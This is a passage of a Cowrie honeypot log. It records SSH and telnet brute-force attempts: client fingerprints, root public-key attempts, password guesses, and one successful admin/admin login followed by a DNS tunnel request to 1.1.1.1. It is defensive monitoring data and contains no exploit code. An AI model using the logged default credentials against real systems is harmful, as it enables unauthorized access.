-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.373794Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:09:36:b5:06:88:67:0e:40:00:f1:f4:d1:e3:8f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdaD67uAHxW9U7pXP7LQEXgUbS5mhpC70Wx1nXX0AIPxyNOYrEzaqpAKsOKuBsGxKCyrois8FeIgs2/flOP/mtUKtHlzTmPzc/9Nh/kEQKVc9kSZZAlCIuQXGXuQBAMhQEVm1dHuH/HHBFuW2MCO8kKczKT+DAd2/zXmowDEneO9M1rI8XN/By13GIb6lsj8B7qEYljPV12l7znqC/6G0L+HSvjdkKhUF/6rqkPWsXNHzRBFBMVGv2rnAQK0+GNX3RgWDGvDmN2+D9OzXzFA1QX5EPV7qEpczPlB3korXmdrkGk5+y1PKen7c2JeRz+sEh4wSwwjDmnN2EoFYLos57","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:09:36:b5:06:88:67:0e:40:00:f1:f4:d1:e3:8f:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.487928Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:09:36:b5:06:88:67:0e:40:00:f1:f4:d1:e3:8f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdaD67uAHxW9U7pXP7LQEXgUbS5mhpC70Wx1nXX0AIPxyNOYrEzaqpAKsOKuBsGxKCyrois8FeIgs2/flOP/mtUKtHlzTmPzc/9Nh/kEQKVc9kSZZAlCIuQXGXuQBAMhQEVm1dHuH/HHBFuW2MCO8kKczKT+DAd2/zXmowDEneO9M1rI8XN/By13GIb6lsj8B7qEYljPV12l7znqC/6G0L+HSvjdkKhUF/6rqkPWsXNHzRBFBMVGv2rnAQK0+GNX3RgWDGvDmN2+D9OzXzFA1QX5EPV7qEpczPlB3korXmdrkGk5+y1PKen7c2JeRz+sEh4wSwwjDmnN2EoFYLos57","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.492460Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:34:29:20:97:08:5c:11:a0:6a:30:50:e5:ce:9f:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncihWRZhvZEguyz6GzmDHyowrq8Gt7qYStxRqQTyA8V1yBV9QcD38WmJdv4LOTb0y9TlHQlnzdR/vdUudZB1GPs5E/VC5o4KCLSwCXq0HxxynHfahRI4YXViynWjjRDSdx3VHSyixTp4EVmNGK8O+03e/rZXJcJgMCzrETKCiGqqSp+aSNX0up1c780nW0xyVDZoOwGJjWWTYkTSFNSsCgKZ2wv+npmHc+TIKfs3rRYCfX8hWtXWBizSx75rwknMSksRiHF/rebWy9UnIsoxf/9fp3NeDvypMlWLY72aPnLIypEFhZIrA2NS0i0r5nLVo54eIlnvUsIkQt1rC0+nObKkWizoSBOQR7XUAaBoD3qwt9+8ewqc38tEuk7JHIX6cU55b02L9P5+Y+zNGpKinYRpRIOu7n9nHNcy+1VmsWj3r/Q0sIVVJt0IdBdpKv1A/K8lEigcSIZbto3orK9tWBCBxECNb3+b+zWr7zerSHjsumg4Wjnreb7yam4vG1M4xw/hVGAveqfKHsm4kto03WNI8LdNnEZjpBlM2WAdNpZzH/c0ksaqaWcFnvWcsBkIAo0ktEhnHjzWgWXnsJPQaisFsosZKvdPtn7AQ36/uWK3ezAsxEfatKb6HWpFLgcO2+vKlRa7A3d5YhlTUfOloJq2XgNtE+aIpCZILVu474Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:34:29:20:97:08:5c:11:a0:6a:30:50:e5:ce:9f:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.522893Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:34:29:20:97:08:5c:11:a0:6a:30:50:e5:ce:9f:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncihWRZhvZEguyz6GzmDHyowrq8Gt7qYStxRqQTyA8V1yBV9QcD38WmJdv4LOTb0y9TlHQlnzdR/vdUudZB1GPs5E/VC5o4KCLSwCXq0HxxynHfahRI4YXViynWjjRDSdx3VHSyixTp4EVmNGK8O+03e/rZXJcJgMCzrETKCiGqqSp+aSNX0up1c780nW0xyVDZoOwGJjWWTYkTSFNSsCgKZ2wv+npmHc+TIKfs3rRYCfX8hWtXWBizSx75rwknMSksRiHF/rebWy9UnIsoxf/9fp3NeDvypMlWLY72aPnLIypEFhZIrA2NS0i0r5nLVo54eIlnvUsIkQt1rC0+nObKkWizoSBOQR7XUAaBoD3qwt9+8ewqc38tEuk7JHIX6cU55b02L9P5+Y+zNGpKinYRpRIOu7n9nHNcy+1VmsWj3r/Q0sIVVJt0IdBdpKv1A/K8lEigcSIZbto3orK9tWBCBxECNb3+b+zWr7zerSHjsumg4Wjnreb7yam4vG1M4xw/hVGAveqfKHsm4kto03WNI8LdNnEZjpBlM2WAdNpZzH/c0ksaqaWcFnvWcsBkIAo0ktEhnHjzWgWXnsJPQaisFsosZKvdPtn7AQ36/uWK3ezAsxEfatKb6HWpFLgcO2+vKlRa7A3d5YhlTUfOloJq2XgNtE+aIpCZILVu474Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.528759Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:cb:0a:2d:b8:54:6a:85:2d:96:95:ca:02:2e:a4:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuISGG0oGtmxl8kWoE/chwbST28Kb97m/+DGwlAWWgDtJIlMiTmJM8L9wIqUjWRpiUacC1lmJPh+bjfXm9M61J2CtPYV6A1MEfAUoTIdHcaj9Jzpg3xxrbjZraWZLV1EQgWKL7k3eaNk2Or7j3nyp65OP/joyopljoSL/FeNz+wd04iQNM+zlEhXrxc8yzdNrtkSDrZsGj6JvOVNE35X1BB6SVZcL614LlXPvR66c95bfTOR+72utWxmd80/h8q7Jd6YLOIgrq++VoqXUQ2vW69zTO/NVwp+mZGblsmpkOpvXgxGQ6IcNld+oaNJF57DW732cv8eyZoGCCb1dzh59l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:cb:0a:2d:b8:54:6a:85:2d:96:95:ca:02:2e:a4:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.556881Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:cb:0a:2d:b8:54:6a:85:2d:96:95:ca:02:2e:a4:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuISGG0oGtmxl8kWoE/chwbST28Kb97m/+DGwlAWWgDtJIlMiTmJM8L9wIqUjWRpiUacC1lmJPh+bjfXm9M61J2CtPYV6A1MEfAUoTIdHcaj9Jzpg3xxrbjZraWZLV1EQgWKL7k3eaNk2Or7j3nyp65OP/joyopljoSL/FeNz+wd04iQNM+zlEhXrxc8yzdNrtkSDrZsGj6JvOVNE35X1BB6SVZcL614LlXPvR66c95bfTOR+72utWxmd80/h8q7Jd6YLOIgrq++VoqXUQ2vW69zTO/NVwp+mZGblsmpkOpvXgxGQ6IcNld+oaNJF57DW732cv8eyZoGCCb1dzh59l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.560865Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:57:c4:a8:63:35:35:01:47:41:6c:3a:ac:30:bc:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaE2ummWI/KmRPfBbZ6/Cgw0QGFrobXSaZDFd/Zca9wb6vIeeEaLQszDXjwZ29SyrKWI/55bFMpac+sTZSW3qOgqSlp2YCHM2CFbWaLgRLVdXMFtRVan8PE+urD5PdBqKvpU+J0pNMYU5F/PWCagwjkL15ifTf7NOjtePCs6snHt81lEH1LLIKNaBLu7bHl/h1eQtjB7f6zj4s7EMmKOqt3/AhEpOTHXAyKe5OWq/yU3ZcSe+w3DHWVReL9d7+E5I2tI7MPG0tFdg90Zd+5nNtghs6eahWLhzhkpfUzOZCBCN14YsJobgj/Bgg9XKYXjxCEFXgs9zlEiYnX2Jf43ox","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:57:c4:a8:63:35:35:01:47:41:6c:3a:ac:30:bc:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.589004Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:57:c4:a8:63:35:35:01:47:41:6c:3a:ac:30:bc:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaE2ummWI/KmRPfBbZ6/Cgw0QGFrobXSaZDFd/Zca9wb6vIeeEaLQszDXjwZ29SyrKWI/55bFMpac+sTZSW3qOgqSlp2YCHM2CFbWaLgRLVdXMFtRVan8PE+urD5PdBqKvpU+J0pNMYU5F/PWCagwjkL15ifTf7NOjtePCs6snHt81lEH1LLIKNaBLu7bHl/h1eQtjB7f6zj4s7EMmKOqt3/AhEpOTHXAyKe5OWq/yU3ZcSe+w3DHWVReL9d7+E5I2tI7MPG0tFdg90Zd+5nNtghs6eahWLhzhkpfUzOZCBCN14YsJobgj/Bgg9XKYXjxCEFXgs9zlEiYnX2Jf43ox","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.592793Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:bf:b4:af:ab:34:7d:da:20:fb:a3:67:ba:80:8f:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAwthvW422tO2wJUSNdl328mk1wSGMuSujns3XvaWEviOrMhW3tn9amuNuMbgdOGAdt14hlx70Q0EwXZjNDnpp+kklO3NkU4HaRmIdDjoLRQJpYVeBpa5UlL/DdhM876UsHoUDDFJ+2MQCwKX4DWIY0ja3jkVw3O3hFtwtr5kq3erkXJz8CR0sWwKXA/ae//3LpkLG8MPLqw3km1YbDtFpD2DsDV/VYia/KANg4L9JsK6e9nvzFrQl5l8V52xPTHnCnX3yJcf5ndbNI0apOCpKFZ98XQcRhSuKwRpfRQPO3O7snulyd/8vdcang9dOoUdRH4Zh7aa8RfgRaOiHlp3R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:bf:b4:af:ab:34:7d:da:20:fb:a3:67:ba:80:8f:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.621734Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:bf:b4:af:ab:34:7d:da:20:fb:a3:67:ba:80:8f:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAwthvW422tO2wJUSNdl328mk1wSGMuSujns3XvaWEviOrMhW3tn9amuNuMbgdOGAdt14hlx70Q0EwXZjNDnpp+kklO3NkU4HaRmIdDjoLRQJpYVeBpa5UlL/DdhM876UsHoUDDFJ+2MQCwKX4DWIY0ja3jkVw3O3hFtwtr5kq3erkXJz8CR0sWwKXA/ae//3LpkLG8MPLqw3km1YbDtFpD2DsDV/VYia/KANg4L9JsK6e9nvzFrQl5l8V52xPTHnCnX3yJcf5ndbNI0apOCpKFZ98XQcRhSuKwRpfRQPO3O7snulyd/8vdcang9dOoUdRH4Zh7aa8RfgRaOiHlp3R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.625716Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.679973Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":16009,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef70b4131ae0","protocol":"ssh","message":"New connection: 193.24.211.100:16009 (159.203.135.109:22) [session: ef70b4131ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:09.627082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:09.669478Z","src_ip":"193.24.211.100","session":"ef70b4131ae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:09.737669Z","src_ip":"193.24.211.100","session":"ef70b4131ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11221122","message":"login attempt [root/11221122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:10.424325Z","src_ip":"193.24.211.100","session":"ef70b4131ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:11.535871Z","src_ip":"193.24.211.100","session":"ef70b4131ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34938,"dst_ip":"10.17.0.5","dst_port":22,"session":"935dc113e307","protocol":"ssh","message":"New connection: 87.251.64.176:34938 (10.17.0.5:22) [session: 935dc113e307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:31.264911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:31.269056Z","src_ip":"87.251.64.176","session":"935dc113e307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:31.365005Z","src_ip":"87.251.64.176","session":"935dc113e307","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:31.654636Z","src_ip":"87.251.64.176","session":"935dc113e307","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:31.760104Z","session":"935dc113e307","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:31.859747Z","src_ip":"87.251.64.176","session":"935dc113e307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:19:31.959891Z","src_ip":"87.251.64.176","session":"935dc113e307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50350,"dst_ip":"10.17.0.5","dst_port":23,"session":"b92fea83ad64","protocol":"telnet","message":"New connection: 212.55.149.117:50350 (10.17.0.5:23) [session: b92fea83ad64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:20:38.455432Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43276,"dst_ip":"10.17.0.5","dst_port":22,"session":"f457080251e2","protocol":"ssh","message":"New connection: 103.15.226.202:43276 (10.17.0.5:22) [session: f457080251e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:04.355050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:04.359922Z","src_ip":"103.15.226.202","session":"f457080251e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:04.611527Z","src_ip":"103.15.226.202","session":"f457080251e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123!@#","message":"login attempt [root/Root123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:05.368269Z","src_ip":"103.15.226.202","session":"f457080251e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:06.622355Z","src_ip":"103.15.226.202","session":"f457080251e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.23.12.21","src_port":35824,"dst_ip":"10.17.0.5","dst_port":22,"session":"291c65eb4ae3","protocol":"ssh","message":"New connection: 217.23.12.21:35824 (10.17.0.5:22) [session: 291c65eb4ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:56.831480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:21:56.839542Z","src_ip":"217.23.12.21","session":"291c65eb4ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@